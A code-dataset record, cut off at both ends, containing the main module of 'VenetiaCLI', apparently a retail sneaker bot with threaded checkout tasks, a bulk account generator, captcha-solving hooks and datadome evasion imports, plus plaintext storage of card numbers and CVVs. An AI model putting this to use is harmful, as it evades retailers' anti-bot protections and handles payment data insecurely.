description.\")\n data.write(f\"|{url}|{description}|\\n\")\n data.write(\"\\n\\n\")\n data.write(\"\"\"\n## Paths\n\nThe endpoint paths supported by the Tremor REST API\n\n \"\"\")\n for path, methods in api[\"paths\"].items():\n for method, endpoint in methods.items():\n summary = endpoint.get(\"summary\", \"No summary.\")\n description = endpoint.get(\"description\", \"No description.\")\n operation_id = endpoint.get(\"operationId\", \"No operationId.\")\n returns = endpoint.get(\"responses\")\n data.write(f\"\"\"\n### __{method.upper()}__ {path}\n\n{summary}\n\n*Description:*\n\n{description}\n\n*OperationId:*\n\n{operation_id}\n\n*Returns:*\n\n> |Status Code|Content Type|Schema Type|\n> |---|---|---|\n\"\"\")\n for code, ret in returns.items():\n content_types = ret.get(\"content\", {})\n if len(content_types) == 0:\n data.write(f\"> |{code}|empty|no content|\\n\")\n else:\n for content_type, content in content_types.items():\n schema_type = content[\"schema\"][\"$ref\"]\n schema_name = schema_type.split(\"/\")[-1]\n\n data.write(\n f\"> |{code}|{content_type}|[{schema_type}](#schema-{schema_name})|\\n\")\n data.write(\"\\n\")\n # write schemas\n data.write(\"\"\"\n## Schemas\n\nJSON Schema for types defioned in the Tremor REST API\n \"\"\")\n schemas = api.get(\"components\", {}).get(\"schemas\", {})\n for schema_name, schema in schemas.items():\n description = schema.get(\"description\", \"No description.\")\n data.write(f\"\"\"\n### Schema for type: __{schema_name}__\n\n\n{description}\n\n```json\n\"\"\")\n schema = json.dumps(schema, indent=4, sort_keys=True)\n data.write(schema)\n data.write(\"\\n```\\n\")\n\n print(data.getvalue())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python_scripts/api2md.py","file_name":"api2md.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"16236988","text":"from colorama import init\nfrom termcolor import colored\nimport json\nimport datetime\nimport csv\nimport threading\nimport sys\nimport time\nimport ctypes\nimport requests\nfrom pypresence import Presence\nimport uuid\nimport os\nimport click\nfrom pprint import pprint\nimport inquirer\nfrom inquirer.themes import GreenPassion\nfrom flask import Flask,render_template,request,redirect\n\nimport webbrowser\nimport names\nimport random\nfrom copy import copy\n# import asyncio\n\ninit(autoreset=True)\n\ndef secho(text, file=None, nl=None, err=None, color=None, **styles):\n pass\n\ndef echo(text, file=None, nl=None, err=None, color=None, **styles):\n pass\n\nclick.echo = echo\nclick.secho = secho\n\ntry:\n win32console.SetConsoleTitle(\"[Version {}] VenetiaCLI\".format(VERSION()))\nexcept:\n pass\n\n\ntry:\n import win32console \nexcept:\n pass\n\n#utils\n\nfrom utils.waterfall import WaterfallAssign\nfrom utils.quicktask import QT\nfrom utils.captcha import captcha\nfrom utils.logger import logger\nfrom utils.accounts import ACCOUNTS\nfrom utils.auth import auth\nfrom utils.datadome import datadome\nfrom utils.ascii import logo\nfrom utils.updates import Updater\nfrom utils.functions import (loadCheckouts, getUser, loadProfile, decodeURIComponent,b64Encode)\nfrom utils.webhook import Webhook\nfrom utils.config import *\nimport utils.create_data_files as dataFiles\nfrom utils.cartClear import cartClear\n\ndef checkUpdate():\n if VERSION() == '0.0.0':\n return True\n else:\n status = Updater.checkForUpdate(VERSION())\n if status[\"error\"] == False:\n if status[\"latest\"] == True:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored(f'You are on the latest version! {VERSION()}','green', attrs=[\"bold\"])))\n return True\n if status[\"latest\"] == False:\n download = Updater.downloadLatest(status[\"version\"])\n if download == \"complete\":\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Update complete','cyan', attrs=[\"bold\"])))\n try:\n pass\n os.startfile(\"VenetiaCLI.exe\".format(status['version']))\n except:\n pass\n time.sleep(5)\n sys.exit()\n else:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Failed to download latest version. Please try again later.','red', attrs=[\"bold\"])))\n time.sleep(5)\n sys.exit()\n if status[\"error\"] == True:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Failed to download latest version. Retrying...','red', attrs=[\"bold\"])))\n time.sleep(10)\n checkUpdate()\n\ndef taskCount():\n total = 0\n for k in sites.keys():\n with open(f'./{k.lower()}/tasks.csv','r') as csvFile:\n csv_reader = csv.DictReader(csvFile)\n total = total + len(list(csv_reader))\n \n return total\n\ndef taskCountSpecific(site):\n total = 0\n with open(f'./{site.lower()}/tasks.csv','r') as csvFile:\n csv_reader = csv.DictReader(csvFile)\n total = total + len(list(csv_reader))\n \n return total\n\ndef get_time():\n x = datetime.datetime.now().strftime('%Y.%m.%d | %H:%M:%S.%f')\n return x\n\ndef checkTasks(site):\n tasks = []\n with open(f'./{site.lower()}/tasks.csv','r') as csvFile:\n csv_reader = csv.DictReader(csvFile)\n for r in csv_reader:\n if len(r['PRODUCT']) > 1:\n tasks.append(1)\n \n if len(tasks) > 0:\n return True\n elif len(tasks) == 0:\n return False\n \n# def checkFootlockerTasks():\n# old_ftl = []\n# new_ftl = []\n# with open(f'./footlocker/tasks.csv','r') as csvFile:\n# csv_reader = csv.DictReader(csvFile)\n# for r in csv_reader:\n# if len(r['PRODUCT']) > 1:\n# try:\n# prof = loadProfile(r['PROFILE'])\n# cc = prof['countryCode'].upper()\n# except Exception:\n# return {\n# \"status\":False,\n# \"old_ftl\":0,\n# \"new_ftl\":0\n# }\n# if cc in new_footlockers():\n# new_ftl.append(1)\n# if cc in old_footlockers():\n# old_ftl.append(1)\n# else:\n# pass\n \n# if len(old_ftl) > 0 or len(new_ftl) > 0:\n# return {\n# \"status\":True,\n# \"old_ftl\":old_ftl,\n# \"new_ftl\":new_ftl\n# }\n# elif len(old_ftl) == 0 and len(new_ftl) == 0:\n# return {\n# \"status\":False,\n# \"old_ftl\":old_ftl,\n# \"new_ftl\":new_ftl\n# }\n\n\nclass Menu():\n def __init__(self):\n self.port = None\n while self.port == None:\n self.port = start_server()\n time.sleep(2)\n\n threading.Thread(target=QT,daemon=True).start()\n \n\n self.user = getUser()\n \n try:\n client_id = 726839544124670093\n self.RPC = Presence(client_id)\n self.RPC.connect()\n self.rpctime = int(time.time())\n except:\n pass\n\n pass\n \n def base(self):\n checkUpdate()\n\n time.sleep(1)\n\n with open('./data/config.json') as config:\n self.config = json.loads(config.read())\n self.key = self.config[\"key\"]\n \n while True:\n self.option_main_menu_choice = int(self.menu())\n if self.option_main_menu_choice == 1:\n self.startAllTasks()\n break\n # Start All Tasks\n\n elif self.option_main_menu_choice == 2:\n self.startSpecificTasks()\n break\n # Start Specific Tasks\n\n elif self.option_main_menu_choice == 3:\n webbrowser.open_new(f'http://127.0.0.1:{self.port}/configuration')\n # View / Edit Config\n\n\n elif self.option_main_menu_choice == 4:\n webbrowser.open_new(f'http://127.0.0.1:{self.port}/profiles')\n # Create Profile\n\n elif self.option_main_menu_choice == 5:\n webbrowser.open_new(f'http://127.0.0.1:{self.port}/captcha')\n # Generate Captchas\n\n elif self.option_main_menu_choice == 6:\n webbrowser.open_new(f'http://127.0.0.1:{self.port}/statistics')\n # View Checkouts\n\n elif self.option_main_menu_choice == 7:\n self.accountGen()\n # Account Generator\n\n elif self.option_main_menu_choice == 00:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Goodbye...','yellow', attrs=[\"bold\"])))\n time.sleep(3)\n break\n os._exit(0)\n \n else:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Invalid Menu Choice','yellow', attrs=[\"bold\"])))\n time.sleep(1)\n continue\n\n\n def menu(self):\n print('')\n print(' Welcome {}... '.format(colored(self.user['discordName'], 'magenta')))\n logger.logo(logo,VERSION())\n print('')\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('01','red', attrs=[\"bold\"]), colored('Start All Tasks','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('02','red', attrs=[\"bold\"]), colored('Start Specific Tasks','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('03','red', attrs=[\"bold\"]), colored('View Config','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('04','red', attrs=[\"bold\"]), colored('Edit Config','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('05','red', attrs=[\"bold\"]), colored('Create Profile','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('06','red', attrs=[\"bold\"]), colored('View|Edit Profiles','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('07','red', attrs=[\"bold\"]), colored('Generate Captchas','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('08','red', attrs=[\"bold\"]), colored('Account Gen','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('09','red', attrs=[\"bold\"]), colored('Cookie Gen','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('10','red', attrs=[\"bold\"]), colored('View Checkouts','red', attrs=[\"bold\"])))\n # logger.menu('VenetiaCLI','Menu','[ {} ] => {}'.format(colored('99','red', attrs=[\"bold\"]), colored('Exit','red', attrs=[\"bold\"])))\n menu_options = []\n \n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|01| Start All Tasks','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|02| Start Specific Tasks','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|03| Config','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|04| Profiles','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|05| Captchas','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|06| Statistics','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|07| Account Gen','red', attrs=[\"bold\"])))\n menu_options.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored('|00| Exit','red', attrs=[\"bold\"])))\n\n def menu_selector():\n questions = [\n inquirer.List(\n \"menu_choices\",\n message=\"Menu Selection\",\n choices=menu_options,\n ),\n ]\n answers = inquirer.prompt(questions)\n choi = answers['menu_choices'].split('|')[1].split('|')[0]\n return choi\n\n return menu_selector() \n\n def startAllTasks(self): \n try:\n win32console.SetConsoleTitle(\"[Version {}] VenetiaCLI - {} | Carted: {} | Checked Out: {}\".format(VERSION(),\"Running Tasks\",\"0\",\"0\"))\n except:\n pass\n\n def menu_selector_waterfall():\n questions = [\n inquirer.List(\n \"waterfall_choices\",\n message=\"Use Waterfall\",\n choices=['Yes','No'],\n ),\n ]\n answers = inquirer.prompt(questions)\n choi = answers['waterfall_choices']\n return choi\n\n a = 0\n waterfall_tasks = []\n main_tasks = []\n for k in sites.keys():\n\n allAccounts = []\n try:\n accounts = open(f'./{k.lower()}/accounts.txt','r').readlines()\n for a in accounts:\n if a.strip() != '':\n a = a.replace('\\n','')\n allAccounts.append(a)\n except:\n pass\n \n allAccCopy = copy(allAccounts)\n if len(allAccCopy) == 0:\n for i in range(2000):\n allAccCopy.append(':')\n\n random.shuffle(allAccCopy)\n n2 = taskCountSpecific(k) \n\n \n with open(f'./{k.lower()}/tasks.csv','r') as csvFile:\n csv_reader = csv.DictReader(csvFile)\n # total = total + sum(1 for row in csv_reader)\n\n i = 1\n zip2 = zip(csv_reader, allAccCopy[:n2])\n for row, acc in zip2:\n if row[\"PRODUCT\"] != \"\":\n try:\n self.RPC.update(large_image=\"image\", state=f\"Version {VERSION()}\", details=f'Running {taskCount()} Task(s)...'.format(k.title()), start=self.rpctime,small_image=\"image\",small_text=\"@venetiaCLI\")\n except:\n pass\n \n if len(str(i)) == 1:\n taskName = f'Task 000{i}'\n if len(str(i)) == 2:\n taskName = f'Task 00{i}'\n if len(str(i)) == 3:\n taskName = f'Task 0{i}'\n if len(str(i)) == 4:\n taskName = f'Task {i}'\n i = i + 1\n # row['PROXIES'] = 'proxies'\n row[\"ACCOUNT EMAIL\"] = acc.split(':')[0]\n row[\"ACCOUNT PASSWORD\"] = acc.split(':')[1]\n row[\"SITE\"] = k\n row[\"TASK_NAME\"] = taskName\n row[\"ROW_NUMBER\"] = a\n \n if k.lower() in waterfall_sites():\n # threading.Thread(target=sites.get(k.upper()),args=(row,taskName, a)).start()\n waterfall_tasks.append(row)\n \n # new_task = asyncio.create_task( k.upper(row, taskName, a).tasks())\n new_task = threading.Thread(target=sites.get(k.upper()),args=(row,taskName, a))\n main_tasks.append(new_task)\n \n \n a = a + 1\n\n if len(waterfall_tasks) > 0:\n if menu_selector_waterfall() == 'Yes': \n _delay_ = input(f\"[{get_time()}] Enter Waterfall monitor delay (in seconds) ==> \")\n WaterfallAssign.assign(waterfall_tasks,_delay_)\n else:\n for t in main_tasks:\n t.start()\n \n else:\n for t in main_tasks:\n t.start()\n \n def siteSelectFunc(self, availableSites, siteSelection):\n def menu_selector_waterfall():\n questions = [\n inquirer.List(\n \"waterfall_choices\",\n message=\"Use Waterfall\",\n choices=['Yes','No'],\n ),\n ]\n answers = inquirer.prompt(questions)\n choi = answers['waterfall_choices']\n return choi\n\n try:\n waterfall__tasks = []\n all_specific_tasks = []\n\n\n key_chosen, value_chosen = sorted(availableSites.items())[int(siteSelection) - 1]\n\n allAccounts = []\n try:\n accounts = open(f'./{key_chosen.lower()}/accounts.txt','r').readlines()\n for a in accounts:\n if a.strip() != '':\n a = a.replace('\\n','')\n allAccounts.append(a)\n except:\n pass\n \n\n allAccCopy = copy(allAccounts)\n if len(allAccCopy) == 0:\n for i in range(2000):\n allAccCopy.append(':')\n\n random.shuffle(allAccCopy)\n n = taskCountSpecific(key_chosen) \n \n\n tasks = []\n with open('./{}/tasks.csv'.format(key_chosen.lower()),'r') as csvFile:\n csv_reader = csv.DictReader(csvFile)\n i = 1\n a = 0\n zip1 = zip(csv_reader, allAccCopy[:n])\n for row, acc in zip1:\n if row[\"PRODUCT\"] != \"\":\n try:\n try:\n win32console.SetConsoleTitle(\"[Version {}] VenetiaCLI - {} | Carted: {} | Checked Out: {}\".format(VERSION(),key_chosen.title(),\"0\",\"0\"))\n except:\n pass\n self.RPC.update(large_image=\"image\", state=f\"Version {VERSION()}\", details='Destroying {}...'.format(key_chosen.title()), start=self.rpctime,small_image=\"image\",small_text=\"@venetiaCLI\")\n except:\n pass\n \n if len(str(i)) == 1:\n taskName = f'Task 000{i}'\n if len(str(i)) == 2:\n taskName = f'Task 00{i}'\n if len(str(i)) == 3:\n taskName = f'Task 0{i}'\n if len(str(i)) == 4:\n taskName = f'Task {i}'\n i = i + 1\n row[\"ACCOUNT EMAIL\"] = acc.split(':')[0]\n row[\"ACCOUNT PASSWORD\"] = acc.split(':')[1]\n row[\"SITE\"] = key_chosen\n row[\"TASK_NAME\"] = taskName\n row[\"ROW_NUMBER\"] = a\n if key_chosen.lower() in waterfall_sites():\n waterfall__tasks.append(row)\n \n # new_task = asyncio.create_task( value_chosen(row, taskName, a).tasks())\n new_task = threading.Thread(target=value_chosen,args=(row,taskName,a))\n all_specific_tasks.append(new_task)\n a = a + 1\n \n if len(waterfall__tasks) > 0:\n if menu_selector_waterfall() == 'Yes': \n _delay_ = input(f\"[{get_time()}] Enter Waterfall monitor delay (in seconds) ==> \")\n WaterfallAssign.assign(waterfall__tasks,_delay_)\n else:\n for t in all_specific_tasks:\n t.start()\n \n else:\n for t in all_specific_tasks:\n t.start()\n \n except Exception as e:\n pass\n\n\n def startSpecificTasks(self):\n number = 1\n availableSites = {}\n all_available_sites = []\n\n for row in sorted(sites):\n if checkTasks(row):\n availableSites[row] = sites[row]\n\n for s in availableSites:\n if len(str(number)) == 1:\n num_a = f'0{number}'\n else:\n num_a = number\n all_available_sites.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored(f'|{num_a}| {s.title()}','red', attrs=[\"bold\"])) )\n # all_available_sites.append( colored(f'[ {number} ] {s.title()}','red', attrs=[\"bold\"]))\n number = number + 1\n all_available_sites.append( '{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]), colored(f'|00| Return to menu','red', attrs=[\"bold\"])) )\n\n def site_selector_specific():\n questions = [\n inquirer.List(\n \"specific_site_choices\",\n message=\"Select Site\",\n choices=all_available_sites,\n ),\n ]\n answers = inquirer.prompt(questions)\n choi = int(answers['specific_site_choices'].split('|')[1].split('|')[0])\n return choi\n\n siteSelection = site_selector_specific()\n if siteSelection == 0:\n return self.base()\n else:\n self.siteSelectFunc(availableSites, siteSelection)\n\n \n def accountGen(self):\n def site_selector_account():\n questions = [\n inquirer.List(\n \"account_select\",\n message=\"Select Site\",\n choices=[\n 'Holypop',\n 'Pro-Direct',\n 'Footasylum',\n 'Snipes',\n 'Naked',\n 'WorkingClassHeroes',\n 'Ambush',\n 'Return to menu...'\n ],\n ),\n ]\n answers = inquirer.prompt(questions)\n choi = answers['account_select']\n return choi\n\n account_selection = site_selector_account()\n if account_selection == 'Return to menu...':\n return\n else:\n amount_account_gen = int(input(\"Number of accounts: \"))\n catchall_account_gen = input(\"Enter catchall (include @): \")\n password_account_gen = input(\"Enter password for accounts: \")\n profile_account_gen = input(\"Enter profile name: \")\n proxies_account_gen = input(\"Enter proxylist name: \")\n\n before_thread = threading.active_count()\n if account_selection == 'Holypop':\n siteKey = '6Lc8GBUUAAAAAKMfe1S46jE08TvVKNSnMYnuj6HN'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.holypop,args=(siteKey,proxies_account_gen,'Holypop',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n \n elif account_selection == 'Pro-Direct':\n siteKey = '6LdXsbwUAAAAAMe1vJVElW1JpeizmksakCUkLL8g'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.proDirect,args=(siteKey,proxies_account_gen,'ProDirect',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n \n elif account_selection == 'Footasylum':\n siteKey = 'n/a'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.footasylum,args=(siteKey,proxies_account_gen,'Footasylum',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n\n elif account_selection == 'Snipes':\n siteKey = 'n/a'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.snipes,args=(siteKey,proxies_account_gen,'Snipes',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n\n elif account_selection == 'Naked':\n siteKey = '6LeNqBUUAAAAAFbhC-CS22rwzkZjr_g4vMmqD_qo'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.naked,args=(siteKey,proxies_account_gen,'Naked',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n \n elif account_selection == 'WorkingClassHeroes':\n siteKey = 'n/a'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.wch,args=(siteKey,proxies_account_gen,'Wch',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n \n elif account_selection == 'Ambush':\n siteKey = 'n/a'\n for i in range(int(amount_account_gen)):\n threading.Thread(target=ACCOUNTS.ambush,args=(siteKey,proxies_account_gen,'Ambush',catchall_account_gen,password_account_gen, profile_account_gen)).start()\n \n while threading.active_count() != before_thread:\n pass\n\n return\n \n\n def viewCheckouts(self): \n checkoutData = loadCheckouts()\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('Total Checkouts: [{}]'.format(checkoutData['total']),'cyan', attrs=[\"bold\"])))\n\n if int(checkoutData['total']) == 0:\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored('No Checkouts','red', attrs=[\"bold\"])))\n time.sleep(2)\n return\n \n elif int(checkoutData['total']) <= 30:\n count = int(checkoutData['total'])\n else:\n count = 30\n\n options = []\n i__ = 1\n # print(f'|{\"Num\":<3}| {\"Site\":<20} {\"Product\":<40} {\"Size\":<10}')\n for i in checkoutData['checkouts'][-count:]:\n if i__ < 10:\n i_ = f'0{i__}'\n else:\n i_ = i__\n data = i\n i__ = i__ + 1\n # options.append('[{}] {} {}'.format(i_,data['site'].title(), data['product']))\n site = data['site'].title()\n prod = data['product']\n size = data['size']\n options.append('|{:<3}| => {:<20} {:<50} {:<10}'.format(colored(i_,\"blue\"),colored(site,\"yellow\"),colored(prod,\"yellow\"),colored(size,\"yellow\") ))\n \n options.append('|{}| => {:<20}'.format(colored('XX',\"blue\"),colored(\"Back to Menu\",\"red\") ))\n\n def selector_checkouts():\n print(\"\")\n questions = [\n inquirer.List(\n \"checkouts\",\n message=\"Select\",\n choices=options,\n ),\n ]\n answers = inquirer.prompt(questions)\n \n num = answers['checkouts'].split('|\\x1b[34m')[1].split('\\x1b[0m|')[0].strip()\n if num == 'XX':\n return 'XX'\n\n link = checkoutData['checkouts'][int(num) -1]['checkout_url']\n webbrowser.open_new_tab(link)\n return num\n \n n = selector_checkouts()\n while n != 'XX':\n n = selector_checkouts()\n \n return\n\n\n\n\ndef start_server():\n\n\n def server(port):\n base_dir = '.'\n if hasattr(sys, '_MEIPASS'):\n base_dir = os.path.join(sys._MEIPASS)\n\n try:\n main_flask_server = Flask(\n __name__,\n static_folder=os.path.join(base_dir, 'static'),\n template_folder=os.path.join(base_dir, 'templates')\n )\n except Exception:\n server(random.randint(1024,65535))\n\n # Captcha\n @main_flask_server.route('/captcha')\n def captcha_main_route():\n sites = []\n types = []\n with open('./data/captcha/tokens.json') as cap_data:\n cap_data = json.loads(cap_data.read())\n\n for k in cap_data:\n sites.append(k)\n\n for x in sites:\n types.append(captcha_configs[x.upper()]['type'])\n\n return render_template('captcha.html',captchas=json.dumps(cap_data), sites=sites, types=types)\n\n\n @main_flask_server.route('/start_generating', methods=['POST'])\n def captcha_gen_route():\n site = request.form['site'].split(':')[0].upper()\n amount = request.form['amount']\n proxies = request.form['proxies']\n\n print(\"\")\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored(f'Solving {amount} captcha(s)','blue', attrs=[\"bold\"])))\n for a in range(int(amount)):\n siteKey = captcha_configs[site]['siteKey']\n siteUrl = captcha_configs[site]['url']\n if captcha_configs[site]['type'].lower() == 'v2':\n threading.Thread(target=captcha.menuV2,args=(siteKey,siteUrl,proxies,'Captcha',site)).start()\n\n elif captcha_configs[site]['type'].lower() == 'v3':\n threading.Thread(target=captcha.menuV3,args=(siteKey,siteUrl,proxies,'Captcha',site)).start()\n \n elif captcha_configs[site]['type'].lower() == 'v2_invisible':\n threading.Thread(target=captcha.menuV2_invisible,args=(siteKey,siteUrl,proxies,'Captcha',site)).start()\n \n return redirect('/captcha')\n\n @main_flask_server.route('/captchas/reset', methods=['GET'])\n def captcha_reset_route():\n\n \n data = {}\n for k in captcha_configs:\n if captcha_configs[k]['hasCaptcha'] == True:\n data[k.upper()] = []\n\n with open('./data/captcha/tokens.json','w') as tokenFile:\n json.dump(data,tokenFile)\n\n\n \n return redirect('/captcha')\n\n # profiles\n @main_flask_server.route('/profiles')\n def edit_profile_route():\n with open('./data/profiles/profiles.json') as profiles_data:\n profiles_ = json.loads(profiles_data.read())\n return render_template('profiles.html',profiles=json.dumps(profiles_))\n\n @main_flask_server.route('/new/profile', methods=['POST'])\n def edit_profile_route_post_create():\n\n with open(f'./data/profiles/profiles.json','r') as profileRead:\n profiles = json.loads(profileRead.read())\n \n p = {\n \"profileName\":request.form['profile_name'],\n \"firstName\":request.form['first_name'],\n \"lastName\":request.form['last_name'],\n \"email\":request.form['email_address'],\n \"phonePrefix\":request.form['phone_prefix'],\n \"phone\": request.form['phone'],\n \"house\":request.form['house'],\n \"addressOne\":request.form['street_address'],\n \"addressTwo\":request.form['street_address_2'],\n \"city\":request.form['city'],\n \"region\":request.form['state'],\n \"country\":request.form['country'].split(':')[0],\n \"countryCode\":request.form['country'].split(':')[1],\n \"zip\":request.form['postal_code'],\n \"card\":{\n \"cardNumber\":request.form['card_number'],\n \"cardMonth\":request.form['card_month'],\n \"cardYear\":request.form['card_year'],\n \"cardCVV\":request.form['card_cvv']\n }\n }\n profiles[\"profiles\"].append(p)\n with open(f'./data/profiles/profiles.json','w') as profileDump:\n json.dump(profiles, profileDump)\n\n return redirect('/profiles')\n\n @main_flask_server.route('/delete/profile', methods=['POST'])\n def edit_profile_route_delete():\n if request.method == \"POST\":\n arg_profile = str(decodeURIComponent(request.args.get('profile')))\n new_profiles = {\n \"profiles\":[]\n }\n with open(f'./data/profiles/profiles.json','r') as profileRead:\n profiles = json.loads(profileRead.read())\n for p in profiles['profiles']:\n if p['profileName'] == arg_profile:\n pass\n else:\n new_profiles['profiles'].append(p)\n \n with open(f'./data/profiles/profiles.json','w') as profileDump:\n json.dump(new_profiles, profileDump)\n \n return redirect('/profiles')\n\n @main_flask_server.route('/update/profile', methods=['POST'])\n def edit_profile_route_post_update():\n\n with open(f'./data/profiles/profiles.json','r') as profileRead:\n profiles = json.loads(profileRead.read())\n\n new_profile_data = {\n \"profileName\":request.form['profile_name'],\n \"firstName\":request.form['first_name'],\n \"lastName\":request.form['last_name'],\n \"email\":request.form['email_address'],\n \"phonePrefix\":request.form['phone_prefix'],\n \"phone\": request.form['phone'],\n \"house\":request.form['house'],\n \"addressOne\":request.form['street_address'],\n \"addressTwo\":request.form['street_address_2'],\n \"city\":request.form['city'],\n \"region\":request.form['state'],\n \"country\":request.form['country'].split(':')[0],\n \"countryCode\":request.form['country'].split(':')[1],\n \"zip\":request.form['postal_code'],\n \"card\":{\n \"cardNumber\":request.form['card_number'],\n \"cardMonth\":request.form['card_month'],\n \"cardYear\":request.form['card_year'],\n \"cardCVV\":request.form['card_cvv']\n }\n }\n\n new_profiles = {\n \"profiles\":[]\n }\n for p in profiles['profiles']:\n if str(p['profileName']) == str(new_profile_data['profileName']):\n new_profiles['profiles'].append(new_profile_data)\n else:\n new_profiles['profiles'].append(p)\n\n with open(f'./data/profiles/profiles.json','w') as profileDump:\n json.dump(new_profiles, profileDump)\n\n\n return redirect('/profiles')\n\n\n @main_flask_server.route('/import_profiles', methods=['POST'])\n def import_profiles_route():\n file = json.loads(request.files['file'].read().decode('Utf-8'))\n \n\n if request.form['keep_existing_profiles'] == 'true':\n # add to existing profiles\n with open(f'./data/profiles/profiles.json','r') as profileRead:\n profiles = json.loads(profileRead.read())\n\n for p in file['profiles']:\n profiles['profiles'].append(p)\n\n with open(f'./data/profiles/profiles.json','w') as profileDump:\n json.dump(profiles, profileDump)\n\n else:\n # replace existing files\n with open(f'./data/profiles/profiles.json','w') as profileDump:\n json.dump(file, profileDump)\n\n return redirect('/profiles')\n\n\n\n # config\n @main_flask_server.route('/configuration', methods=['GET'])\n def edit_config_route():\n with open('./data/config.json') as config:\n config = json.loads(config.read())\n return render_template('config.html',config=config)\n\n\n @main_flask_server.route('/update/config', methods=['POST'])\n def edit_config_route_post():\n if request.method == 'POST':\n with open('./data/config.json') as config:\n config = json.loads(config.read())\n\n config_updated = {\n \"key\":config[\"key\"],\n \"checkoutNoise\":request.form['checkout_noise'],\n \"webhook\":request.form['webhook'],\n \"2Captcha\":request.form['2cap'],\n \"capMonster\":request.form['cap_mon'],\n \"captcha\":request.form['cap_choice'],\n \"quickTaskSize\":request.form['qt_size'],\n \"quickTaskProfile\":request.form['qt_profile'],\n \"quickTaskProxies\":request.form['qt_proxies'],\n \"quickTaskDelay\":request.form['qt_delay'],\n \"quickTaskPayment\":request.form['qt_payment'],\n \"quickTaskEmail\":request.form['qt_account_email'],\n \"quickTaskPassword\":request.form['qt_account_password']\n }\n\n with open(\"./data/config.json\",\"w\") as updated:\n json.dump(config_updated, updated)\n\n return redirect('/configuration')\n \n @main_flask_server.route('/config/webhook/test', methods=['POST'])\n def edit_config_route_webhook_test():\n if request.method == \"POST\":\n Webhook.test(webhook=decodeURIComponent(request.args.get('webhook')))\n return redirect('/configuration')\n\n \n # stats\n @main_flask_server.route('/statistics', methods=['GET'])\n def stats_route():\n with open('./data/checkouts.json') as checkouts:\n checkouts = json.loads(checkouts.read())\n return render_template('stats.html',checkouts=json.dumps(checkouts))\n\n \n main_flask_server.run(port=port)\n \n try:\n port = random.randint(1024,65535)\n t = threading.Thread(target=server,daemon=True, args=(port,)).start()\n return port\n except Exception:\n return None\n\n\n\nif __name__ == \"__main__\":\n dataFiles.execute()\n\n with open('./data/config.json') as config:\n config = json.loads(config.read())\n if config[\"key\"] == \"\":\n key = input(\"Enter Your License Key ==> \")\n config[\"key\"] = key\n with open(\"./data/config.json\",\"w\") as updated:\n json.dump(config, updated)\n\n auth = auth.auth(config[\"key\"], uuid.getnode())\n if auth[\"STATUS\"] == 1:\n k = config['key']\n print('{} {}'.format(colored('[Menu]:','cyan', attrs=[\"bold\"]),colored(f'Key Authorised [{k}]','green', attrs=[\"bold\"])))\n Menu().base()\n\n if auth[\"STATUS\"] == 0:\n print(colored('Failed to auth key. Closing...','red', attrs=[\"bold\"]))\n config[\"key\"] = \"\"\n with open(\"./data/config.json\",\"w\") as updated:\n json.dump(config, updated)\n\n time.sleep(3)\n os._exit(0)\n\n else:\n auth = auth.auth(config[\"key\"], uuid.getnode())\n if 